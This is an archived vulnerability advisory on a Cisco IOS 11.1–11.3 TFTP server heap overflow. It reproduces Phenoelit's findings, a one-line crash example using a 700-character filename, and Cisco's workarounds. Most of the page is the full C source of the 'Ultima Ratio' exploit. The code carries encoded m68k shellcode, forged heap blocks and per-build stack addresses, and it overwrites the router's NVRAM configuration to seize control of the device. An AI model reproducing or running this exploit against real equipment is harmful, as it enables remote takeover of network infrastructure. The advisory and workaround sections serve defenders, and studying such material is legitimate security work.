|
COMMAND Cisco tftp remote overflow SYSTEMS AFFECTED IOS 11.1 - 11.3 PROBLEM In FX [fx@phenoelit.de], FtR [ftr@phenoelit.de] and kim0 [kim0@phenoelit.de] of Phenoelit Group [http://www.phenoelit.de] advisroy [http://www.phenoelit.de/stuff/Cisco_tftp.txt] : The Cisco IOS integrated TFTP server suffers from a buffer overflow condition. When requesting a file name with approximately 700 characters, the device crashes and may reboot. This only happens, if the served file is on a flash device and no alias is assigned to it. Vulnerable: router# conf t router# tftp-server flash:ios_11.3_a-b-c-d.bin Not vulnerable: router# conf t router# tftp-server flash:ios_11.3_a-b-c-d.bin alias TheStuff [ Example ] OpenBSD# tftp ciscoxx.xxx.xxxx.xxx tftp> get AAAAAAAAA....(700 times) Editor's note ============= How long before a cisco remote shell for the IOS ? Strange rumors of code floating around ... UPDATE (20 August 2002), BTW phenoelit did release the code :-), enjoy : Read the details on the magic here : http://www.phenoelit.de/stuff/defconX.pdf http://www.phenoelit.de/stuff/BHLV.pdf /* --== P H E N O E L I T ==-- ____ _______ _____ _______ ____ ____ / /__ __/ __ ___ ______ / /______/__ __/ ______ / / / / / / / -*-/ \_/ // / / / / / / -*- / __ / / / / / / / / __ / /\_// // __ / / /\ \ __ / / / __ / / / / / /__/ / /____/ / / // / / // / / / / / / / / / / / / / / / /_/ / /__________/______/_/ /_//_/ /_//_/ /_/ /_/ /_/_/ /_/ /_/ /_/ /_____/ */ /* Cisco IOS Heap exploit prove of concept "Ultima Ratio". * by FX of Phenoelit <fx@phenoelit.de> * http://www.phenoelit.de * * Black Hat Briefings 2002 / Las Vegas * DefCon X 2002 / Las Vegas * * Cisco IOS 11.1.x to 11.3.x TFTP-Server * If a TFTP server for a flash file is configured, a long filename in the TFTP * request will overflow a heap buffer. The attached program is a PoC to exploit * this vulnerability by executing "shell code" on the router and write the * attached configuration into NVRAM to basically own the router. * * Command line argument -p XXXXXXXX most definetly required. Obtain from syslog * host or any other means possible. The stack address changes by image. * Find the right one for the IOS build you are running and if you feel like it, * send it to me. * * Kiddy Warnings: * - It will NOT work in fire-and-forget mode. * - The shellcode is only good for Cisco 1000 and 1600 series. * - This code is not for illegal use. * * $Id: UltimaRatioVegas.c,v 1.1 2002/07/26 16:39:38 $ */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <netinet/in.h> #include <rpc/types.h> #include <netdb.h> #include <sys/socket.h> #include <arpa/inet.h> #include <errno.h> #include <sys/ioctl.h> #include <netinet/in.h> #include <netpacket/packet.h> #include <net/ethernet.h> #include <net/if.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> typedef struct { u_int16_t opcode __attribute__((packed)); u_int8_t file __attribute__((packed)); u_int8_t type __attribute__((packed)); } tftp_t; typedef struct { u_int16_t magic __attribute__((packed)); u_int16_t one __attribute__((packed)); u_int16_t checksum __attribute__((packed)); u_int16_t IOSver __attribute__((packed)); u_int32_t unknown __attribute__((packed)); u_int32_t ptr __attribute__((packed)); u_int32_t size __attribute__((packed)); } nvheader_t; struct { int verbose; int test; char *filename; unsigned int overflow; u_int32_t prev; u_int32_t next; u_int32_t offset; u_int32_t buffer_location; u_int32_t stack_address; unsigned int nop_sleet; int dot1; } cfg; u_int16_t chksum(u_char *data, unsigned long count); void hexdump(unsigned char *bp, unsigned int length); void usage(char *s); #define MAX_SIZE 1472 #define XOR_PAT 0xD5 #define FB_PREV 28 #define FB_NEXT 24 #define FB_FREENEXT 60 #define FB_FREEPREV 64 #define SPLASH \ "Phenoelit ULTIMA RATIO\n" \ " Cisco IOS TFTP-Server remote exploit (11.1.-11.3)\n" \ " (C) 2002 - FX of Phenoelit <fx@phenoelit.de>\n" int main(int argc, char **argv) { char option; extern char *optarg; unsigned int i; /* confg file */ int fd; struct stat sb; u_char *buffer; u_char *p; nvheader_t *nvh; unsigned int len; u_int16_t cs1; u_int32_t temp; /* Network */ int sfd; struct in_addr dest; struct sockaddr_in sin; /* the packet */ unsigned int psize = 0; u_char *pack; tftp_t *tftp; char tftp_type[] = "PHENOELIT"; char terminator[] = "\xCA\xFE\xF0\x0D"; char fakeblock[] = "\xFD\x01\x10\xDF" // RED "\xAB\x12\x34\xCD" // MAGIC "\xFF\xFF\xFF\xFF" // PID "\x80\x81\x82\x83" // "\x08\x0C\xBB\x76" // NAME "\x80\x8a\x8b\x8c" // "\x02\x0F\x2A\x04" // NEXT "\x02\x0F\x16\x94" // PREV "\x7F\xFF\xFF\xFF" // SIZE "\x01\x01\x01\x01" // "\xA0\xA0\xA0\xA0" // padding ? "\xDE\xAD\xBE\xEF" // MAGIC2 "\x8A\x8B\x8C\x8D" // "\xFF\xFF\xFF\xFF" // padding "\xFF\xFF\xFF\xFF" // padding "\x02\x0F\x2A\x24" // FREE NEXT (BUFFER) "\x02\x05\x7E\xCC" // FREE PREV (STACK of Load Meter, return address) ; char fakeblock_dot1[] = "\xFD\x01\x10\xDF" // RED "\xAB\x12\x34\xCD" // MAGIC "\xFF\xFF\xFF\xFF" // PID "\x80\x81\x82\x83" // "\x08\x0C\xBB\x76" // NAME "\x80\x8a\x8b\x8c" // "\x02\x0F\x2A\x04" // NEXT "\x02\x0F\x16\x94" // PREV "\x7F\xFF\xFF\xFF" // SIZE "\x01\x01\x01\x01" // //"\xA0\xA0\xA0\xA0" // no padding here on 11.1 "\xDE\xAD\xBE\xEF" // MAGIC2 "\x8A\x8B\x8C\x8D" // "\xFF\xFF\xFF\xFF" // padding "\xFF\xFF\xFF\xFF" // padding "\x02\x0F\x2A\x24" // FREE NEXT (BUFFER) "\x02\x05\x7E\xCC" // FREE PREV (STACK of Load Meter, return address) ; char nop[] = "\x4E\x71"; // the IOS will write here char shell_code[] = // ************** CODE **************** "\x22\x7c\x0f\xf0\x10\xc2" //moveal #267391170,%a1 (0x020F2A24) "\xe2\xd1" //lsrw %a1@ (0x020F2A2A) "\x47\xfa\x01\x23" //lea %pc@(12d<xor_code+0xfd>),%a3 (0x020F2A2C) "\x96\xfc\x01\x01" //subaw #257,%a3 (0x020F2A30) "\xe2\xd3" //lsrw %a3@ (0x020F2A34) "\x22\x3c\x01\x01\x01\x01" //movel #16843009,%d1 (0x020F2A36) "\x45\xfa\x01\x17" //lea %pc@(131<xor_code+0x101>),%a2(0x020F2A3C) "\x94\xfc\x01\x01" //subaw #257,%a2 (0x020F2A40) "\x34\x3c\xd5\xd5" //movew #-10795,%d2 (0x020F2A44) "\xb5\x5a" //eorw %d2,%a2@+ (0x020F2A48) "\x0c\x92\xca\xfe\xf0\x0d" //cmpil #-889262067,%a2@ (0x020F2A4A) "\xcc\x01" //branch (modified) (0x020F2A50) "\xff\xf6" //(0x020F2A52) // ************** XORed CODE **************** "\x93\x29\xF2\xD5" //movew #9984,%sr (0x020F2A5E) "\xF7\xA9\xDA\x25\xC5\x17" //moveal #267391170,%a1 (0x020F2A62) "\xE7\x69\xD5\xD4" //movew #1,%a1@ (0x020F2A68) "\x90\x2F\xD5\x87" //lea %pc@(62 <config>),%a2 (0x020F2A6C) "\xF7\xA9\xDB\xD5\xD7\x7B" //moveal #234881710,%a1 (0x020F2A70) "\xA1\xD4" //moveq #1,%d2 (0x020F2A76) "\xC7\x0F" //moveb %a2@+,%a1@+ (0x020F2A78) "\xF7\xE9\xD5\xD5\x2A\x2A" //movel #65535,%d1 (0x020F2A7A) "\x46\x97" //subxw %d2,%d1 (0x020F2A80) "\xBE\xD5\x2A\x29" //bmiw 22 <write_delay> (0x020F2A82) "\xD9\x47\x1F\x2B\x25\xD8" //cmpil #-889262067,%a2@ (0x020F2A86) "\xB3\xD5\x2A\x3F" //bnew 1a <copy_confg> (0x020F2A8C) "\xE7\x29\xD5\xD5" //movew #0,%a1@+ (0x020F2A90) "\xF7\xE9\xD5\xD5\x2A\x2A" //movel #65535,%d1 (0x020F2A94) "\x46\x97" //subxw %d2,%d1 (0x020F2A9A) "\xBE\xD5\x2A\x29" //bmiw 3c <write_delay2> (0x020F2A9C) "\x66\x29\xDB\xD5\xF5\xD5" //cmpal #234889216,%a1 (0x020F2AA0) "\xB8\xD5\x2A\x3D" //bltw 32 <delete_confg> (0x020F2AA6) "\x93\x29\xF2\xD5" //movew #9984,%sr (0x020F2AAA) "\xF5\xA9\xDA\x25\xD5\xD5" //moveal #267386880,%a0 (0x020F2AAE) "\xFB\x85" //moveal %a0@,%sp (0x020F2AB4) "\xF5\xA9\xDA\x25\xD5\xD1" //moveal #267386884,%a0 (0x020F2AB6) "\xF5\x85" //moveal %a0@,%a0 (0x020F2ABC) "\x9B\x05" //jmp %a0@ (0x020F2ABE) ; /* configure defaults */ memset(&dest,0,sizeof(dest)); memset(&cfg,0,sizeof(cfg)); cfg.overflow=652; cfg.prev=0x020F1694; cfg.next=0x020F2A04; //cfg.offset=0x13D4; //cfg.offset=0x137C; // 4988 cfg.offset=0x1390; // 5008 cfg.buffer_location=0x020F2A24; cfg.stack_address=0x02057ECC; cfg.nop_sleet=16; printf("%s\n",SPLASH); while ((option=getopt(argc,argv,"1vtd:f:l:p:o:s:n:N:"))!=EOF) { switch (option) { case 'd': if (inet_aton(optarg,&dest)==0) { /* ups, wasn't an IP - maybe a hostname */ struct hostent *hd; if ((hd=gethostbyname(optarg))==NULL) { fprintf(stderr,"Could not resolve destination host\n"); return (1); } else { bcopy(hd->h_addr,(char *)&dest,hd->h_length); } } break; case 'f': cfg.filename=(char *)malloc(strlen(optarg)+1); strcpy(cfg.filename,optarg); break; case 'l': if ( (cfg.overflow=atoi(optarg))==0 ) { fprintf(stderr,"Overflow length incorrect\n"); return (1); } break; case 'o': if ( (cfg.offset=atoi(optarg))==0 ) { fprintf(stderr,"Offset incorrect\n"); return (1); } break; case 'N': if ( (cfg.nop_sleet=atoi(optarg))==0 ) { fprintf(stderr,"NOP sleet incorrect\n"); return (1); } break; case 'p': sscanf(optarg,"%08X",&(cfg.prev)); break; case 'n': sscanf(optarg,"%08X",&(cfg.next)); break; case 's': sscanf(optarg,"%08X",&(cfg.stack_address)); break; case 'v': cfg.verbose++; break; case 't': cfg.test++; break; case '1': cfg.dot1++; break; default: usage(argv[0]); return (1); } } /* * check for dummies */ if ( (!(*((u_int32_t *)&dest))) || (cfg.filename==NULL) ) { usage(argv[0]); return 1; } /* * patch fake block with new addresses */ cfg.buffer_location=cfg.prev+20+cfg.offset; if (cfg.dot1) { temp=htonl(cfg.prev+20); memcpy(&(fakeblock_dot1[FB_PREV]),&(temp),4); temp=htonl(cfg.next); memcpy(&(fakeblock_dot1[FB_NEXT]),&(temp),4); temp=htonl(cfg.buffer_location); memcpy(&(fakeblock_dot1[FB_FREENEXT-4]),&(temp),4); temp=htonl(cfg.stack_address); memcpy(&(fakeblock_dot1[FB_FREEPREV-4]),&(temp),4); } else { temp=htonl(cfg.prev+20); memcpy(&(fakeblock[FB_PREV]),&(temp),4); temp=htonl(cfg.next); memcpy(&(fakeblock[FB_NEXT]),&(temp),4); temp=htonl(cfg.buffer_location); memcpy(&(fakeblock[FB_FREENEXT]),&(temp),4); temp=htonl(cfg.stack_address); memcpy(&(fakeblock[FB_FREEPREV]),&(temp),4); } if (cfg.verbose) { if (cfg.dot1) printf("using IOS 11.1 Heap management mode\n"); printf("Values:\n" "- prev ptr of 0x%08X\n" "- next ptr of 0x%08X\n" "- buffer located at 0x%08X (offset %u)\n" "- stack return address 0x%08X\n" "- overflow lenght %u\n" "- NOP sleet %u\n" , cfg.prev+20, cfg.next, cfg.buffer_location,cfg.offset, cfg.stack_address, cfg.overflow, cfg.nop_sleet); } if (cfg.dot1) { if (strlen(fakeblock_dot1)+1!=sizeof(fakeblock_dot1)) { fprintf(stderr,"0x00 byte in fake block detected!\n"); if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock_dot1)-1); return (1); } } else { if (strlen(fakeblock)+1!=sizeof(fakeblock)) { fprintf(stderr,"0x00 byte in fake block detected!\n"); if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock)-1); return (1); } } /* * Load Config * - load into buffer * - prepare NVRAM header * - calculate checksum * -> *buffer contains payload */ if (cfg.filename==NULL) return (-1); if (stat(cfg.filename,&sb)!=0) { fprintf(stderr,"Could not stat() file %s\n",cfg.filename); return (-1); } if ((fd=open(cfg.filename,O_RDONLY))<0) { fprintf(stderr,"Could not open() file %s\n",cfg.filename); return (-1); } len=sb.st_size; if ((buffer=(char *)malloc(len+sizeof(nvheader_t)+10))==NULL) { fprintf(stderr,"Malloc() failed\n"); return (-1); } memset(buffer,0,len+sizeof(nvheader_t)+10); p=buffer+sizeof(nvheader_t); if (cfg.verbose) printf("%d bytes config read\n",read(fd,p,len)); close(fd); /* * pad config so it is word bound for the 0xcafef00d test */ if ((len%2)!=0) { strcat(p,"\x0A"); len++; if (cfg.verbose) printf("Padding config by one\n"); } nvh=(nvheader_t *)buffer; nvh->magic=htons(0xABCD); nvh->one=htons(0x0001); // is always one nvh->IOSver=htons(0x0B03); // IOS version nvh->unknown=htonl(0x00000014); // something, 0x14 just works nvh->ptr=htonl(0x020AA660); // something, 0x020AA660 just works nvh->size=htonl(len); cs1=chksum(buffer,len+sizeof(nvheader_t)+2); if (cfg.verbose) printf("Checksum: %04X\n",htons(cs1)); nvh->checksum=cs1; /* * Check the size of all together and make sure it will fit into the * packet */ psize= len + sizeof(nvheader_t) + + strlen(fakeblock) + ( strlen(nop) * cfg.nop_sleet ) + strlen(shell_code) + strlen(terminator) + cfg.overflow + 1 + sizeof(tftp_t) + strlen(tftp_type) ; if ( psize > MAX_SIZE ) { fprintf(stderr,"The config file specified is too big and does not fit" " into one packet. Specify smaller file\n"); free(buffer); return (1); } if ((pack=malloc(psize))==NULL) { fprintf(stderr,"Could not malloc() packet\n"); return (-1); } memset(pack,0,psize); /* * XOR encode the config block */ p=buffer; for (i=0;i<(len+sizeof(nvheader_t));i++) { p[i]=p[i]^XOR_PAT; } /* * Prepare the TFTP protocol part */ tftp=(tftp_t *)((void *)pack); tftp->opcode=htons(1); /* (1) Overflow */ p=(char *)&(tftp->file); memset(p,'A',cfg.overflow); p+=cfg.overflow; /* (2) Fake block */ if (cfg.dot1) { memcpy(p,fakeblock_dot1,sizeof(fakeblock_dot1)-1); p+=sizeof(fakeblock_dot1)-1; } else { memcpy(p,fakeblock,sizeof(fakeblock)-1); p+=sizeof(fakeblock)-1; } /* (3) add NOP sleet */ for (i=0;i<cfg.nop_sleet;i++) { memcpy(p,nop,sizeof(nop)-1); p+=sizeof(nop)-1; } /* (4) append shell code */ memcpy(p,shell_code,sizeof(shell_code)-1); p+=sizeof(shell_code)-1; /* (5) new config */ memcpy(p,buffer,strlen(buffer)); p+=strlen(buffer); /* (6) terminator */ strcpy(p,terminator); p+=strlen(terminator)+1; /* (7) give it a type */ strcpy(p,tftp_type); if (cfg.verbose>1) hexdump(pack,psize); if (cfg.test) return(0); /* * Perform attack */ if ((sfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP))<0) { perror("socket()"); return (-1); } memset(&sin,0,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; sin.sin_port=htons(69); /* tftp */ memcpy(&(sin.sin_addr),&dest,sizeof(sin.sin_addr)); printf("*** Sending exploit ***\n"); if (sendto(sfd,pack,psize,0, (struct sockaddr *)&sin,sizeof(struct sockaddr_in))<=0) { perror("sendto()"); return(-1); } close(sfd); if (cfg.verbose) printf("\t%d bytes network data sent\n",psize); /* * clean up */ free(buffer); free(pack); return 0; } /* checksum function as used in IRPAS, stolen somewhere */ u_int16_t chksum(u_char *data, unsigned long count) { u_int32_t sum = 0; u_int16_t *wrd; wrd=(u_int16_t *)data; while( count > 1 ) { sum = sum + *wrd; wrd++; count -= 2; } if( count > 0 ) { sum = sum + ((*wrd &0xFF)<<8); } while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); } return (~sum); } /* A better version of hdump, from Lamont Granquist. Modified slightly * by Fyodor (fyodor@DHP.com) * obviously stolen by FX from nmap (util.c)*/ void hexdump(unsigned char *bp, unsigned int length) { /* stolen from tcpdump, then kludged extensively */ static const char asciify[] = "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~................................................................................................................................."; register const u_short *sp; register const u_char *ap; register u_int i, j; register int nshorts, nshorts2; register int padding; printf("\n\t"); padding = 0; sp = (u_short *)bp; ap = (u_char *)bp; nshorts = (u_int) length / sizeof(u_short); nshorts2 = (u_int) length / sizeof(u_short); i = 0; j = 0; while(1) { while (--nshorts >= 0) { printf(" %04x", ntohs(*sp)); sp++; if ((++i % 8) == 0) break; } if (nshorts < 0) { if ((length & 1) && (((i-1) % 8) != 0)) { printf(" %02x ", *(u_char *)sp); padding++; } nshorts = (8 - (nshorts2 - nshorts)); while(--nshorts >= 0) { printf(" "); } if (!padding) printf(" "); } printf(" "); while (--nshorts2 >= 0) { printf("%c%c", asciify[*ap], asciify[*(ap+1)]); ap += 2; if ((++j % 8) == 0) { printf("\n\t"); break; } } if (nshorts2 < 0) { if ((length & 1) && (((j-1) % 8) != 0)) { printf("%c", asciify[*ap]); } break; } } if ((length & 1) && (((i-1) % 8) == 0)) { printf(" %02x", *(u_char *)sp); printf(" %c", asciify[*ap]); } printf("\n"); } void usage(char *s) { fprintf(stderr, "Usage: %s -d <device_ip> -f config.file [-opts]\n" "Options:\n" " -p 1234ABCD sets the previous ptr address\n" " -n 1234ABCD sets the next ptr address\n" " -s 1234ABCD sets the stack address\n" " -o 1234 sets the offset from prev to buffer\n" " -l 1234 sets the overflow size\n" " -N 1234 sets the NOP sleet\n" " -1 use IOS 11.1 memory layout\n" " -v increases verbosity (highly recommended)\n" " -t only test, don't send\n" "\n" "Recommended stack addresses:\n" "IOS 11.1(20) -s 020A1120 (IP Input)\n" "IOS 11.2(18)P -s 0204120C (Load Meter)\n" "IOS 11.2(26)P4 -s 02041554 (Load Meter)\n" "IOS 11.3(11)B -s 02057ECC (Load Meter)\n" ,s); } SOLUTION In Cisco Security Advisory: Software Versions and Fixes =========================== The affected releases, 11.1, 11.2, and 11.3, are all at End of Life, which means they do not have a maintenance version scheduled, and will not be fixed. It is recommended to use the documented workarounds if these versions must be used. Workarounds =========== There are two workarounds known to address this issue. Disable the TFTP server entirely Cisco IOS provides TFTP server functionality to facilitate the transfer of Cisco IOS images when another TFTP server may not be available. If the TFTP server functionality is not currently needed, the following steps may be taken to disable the TFTP server. 1. While in enable mode on the router, issue the command "show running-config" and look for lines starting with "tftp-server". 2. For each line in the config starting with "tftp-server", prepend the word "no" followed by a space followed by the full text of the matching line in config mode to remove that entry. This step must be repeated for each matching line of the config. 3. Once this task has been completed, verify that there are no lines starting with "tftp-server" by issuing the command "show running-config" from the enable prompt. 4. Once verified, save the new configuration so that the server will be disabled upon the next reset of the device. Provide aliases for TFTP server filenames Cisco IOS provides the ability to alias a long filename to a shorter filename. If the tftp-server entries in the configuration have the keyword "alias" in them, the router will not be vulnerable to exploitation of this vulnerability. To implement this workaround, follow the directions above for disabling the TFTP server, and then add any configuration lines back to the config by appending the keyword "alias" followed by a short filename such that the command resembles: tftp-server flash rsp-jv-mz.111-24a alias CiscoIOS Note that this must be done for every line starting with "tftp-server" in the configuration. The existence of a single line in the configuration beginning with "tftp-server" without an alias defined while running affected versions of software is all that is needed to become subject to this vulnerability. Obtaining Fixed Software ======================== As the affected versions are not scheduled to be fixed, and a simple workaround is available, a software upgrade is not required to address this vulnerability. However, if you have a service contract, and wish to upgrade to unaffected code, you may obtain upgraded software through your regular update channels. For most customers, this means that upgrades should be obtained through the Software Center on Cisco's Worldwide Web site at http://www.cisco.com. If you need assistance with the implementation of the workarounds, or have questions on the workarounds, please contact the Cisco Technical Assistance Center (TAC). Cisco TAC contacts are as follows: * +1 800 553 2447 (toll free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: tac@cisco.com See http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml for additional TAC contact information, including special localized telephone numbers and instructions and e-mail addresses for use in various languages. Please do not contact either "psirt@cisco.com" or "security-alert@cisco.com" for software upgrades.